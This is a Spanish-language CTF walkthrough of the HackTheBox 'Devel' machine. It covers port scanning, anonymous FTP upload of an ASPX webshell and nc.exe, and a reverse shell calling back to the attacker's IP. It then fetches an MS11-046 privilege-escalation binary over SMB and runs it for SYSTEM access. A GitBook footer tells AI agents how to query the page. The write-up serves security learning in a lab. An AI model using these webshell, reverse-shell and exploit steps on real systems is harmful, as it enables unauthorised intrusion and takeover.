> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md). # Resolución de HackTheBox Devel {% embed url="" %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.5 -oG allPorts ```

**Análisis de puertos abiertos con extractPorts:** Usando la función extractPorts para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles.

**Escaneo de versiones de puertos con Nmap:** Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted": ```bash nmap -sCV -p21,80 10.10.10.5 -oN targeted ```

## **Análisis de servicios** ### **Puerto 21 - FTP** El servidor FTP es accesible con credenciales anónimas. Al explorar el directorio FTP, descubrimos tres archivos: * **`aspnet_client`** * **`iisstart.htm`** * **`welcome.png`**

La imagen **`welcome.png`** parece ser un banner estándar.

### Puerto 80 - HTTP: El servidor HTTP muestra una página con el mismo banner que el encontrado en el FTP. Esto sugiere que el sitio web recupera sus archivos directamente del servidor FTP.

#### **Pruebas de escritura en el FTP** Al probar los permisos de escritura en el servidor FTP, confirmamos que es posible añadir archivos con el comando ```bash put test.txt ```

## **Explotación - Shell inversa vía FTP** ### **Carga de Web Shell ASPX** Usamos una webshell preexistente, **`cmd.aspx`**, de SecLists: ```bash locate cmd.aspx cp /usr/share/davtest/backdoors/aspx_cmd.aspx . ``` Luego la importamos al servidor FTP: ```bash ftp 10.10.10.5 anonymous put aspx_cmd.aspx ``` Accedemos a la webshell a través del servidor HTTP y ejecutamos comandos, por ejemplo: ```bash ipconfig ```

### **Subir el `nc.exe` binario para una shell inversa** Descargamos **`nc.exe`** de SecLists: ```bash locate nc.exe cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe . ``` Luego lo añadimos al servidor FTP: ```bash ftp 10.10.10.5 anonymous put nc.exe ``` Desde la webshell, localizamos el **`nc.exe`** archivo en el servidor objetivo: ```powershell dir /s C:/nc.exe ``` ### **Configuración de la shell inversa**

**Escuchar en el puerto 443:** Configuramos un listener con `nc` para escuchar en el puerto 443: ```bash rlwrap nc -nvlp 443 ``` Desde la máquina objetivo, ejecutamos el siguiente comando a través de la webshell: ```powershell C:/inetpub/wwwroot/nc.exe -e cmd 10.10.14.26 443 ```

## **Escalada de privilegios** ### Explotación del kernel #### **Comprobación de información del sistema** Con la **`systeminfo`** comando, identificamos que la máquina usa **Windows 7 Enterprise**, lo que abre la posibilidad de explotar vulnerabilidades conocidas para esta versión. ```powershell systeminfo ``` El resultado nos indica que la máquina usa **Windows 7 Enterprise**, con la siguiente versión: ```plaintext OS VERSION: 6.1.7600 N/A Build 7600 ```

### **Explotación de la vulnerabilidad MS11-046** Esto nos permite saber que la máquina puede ser vulnerable a algunos fallos conocidos, como **MS11-046**, una vulnerabilidad en el servicio **Windows SMB**. {% embed url="" %} > Vulnerabilidad **MS11-046** permite a un atacante ejecutar de forma remota con privilegios **NT AUTHORITY/SYSTEM** a través del servicio SMB. Para explotar esta vulnerabilidad, transferiremos y ejecutaremos un archivo malicioso en la máquina objetivo.

### Transferencia de archivos en Windows (smb) > Usamos **smbserver.py** para compartir un directorio que contiene el archivo de explotación **ms11-046.exe**. Este archivo se copia luego a la máquina objetivo. ```bash smbserver.py share $(pwd) -smb2support ``` Desde la máquina objetivo, copiamos el archivo malicioso usando el comando SMB: ```powershell copy //10.10.14.26/share/ms11-046.exe ms11.exe ```

**Ejecución de la operación** Una vez transferido el archivo, ejecutamos **ms11-046.exe** en la máquina objetivo para explotar la vulnerabilidad y obtener una shell con privilegios SYSTEM. Para ello, usamos el siguiente comando: ```powershell ./ms11.exe ```

### Bandera user.txt :)

### Bandera root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.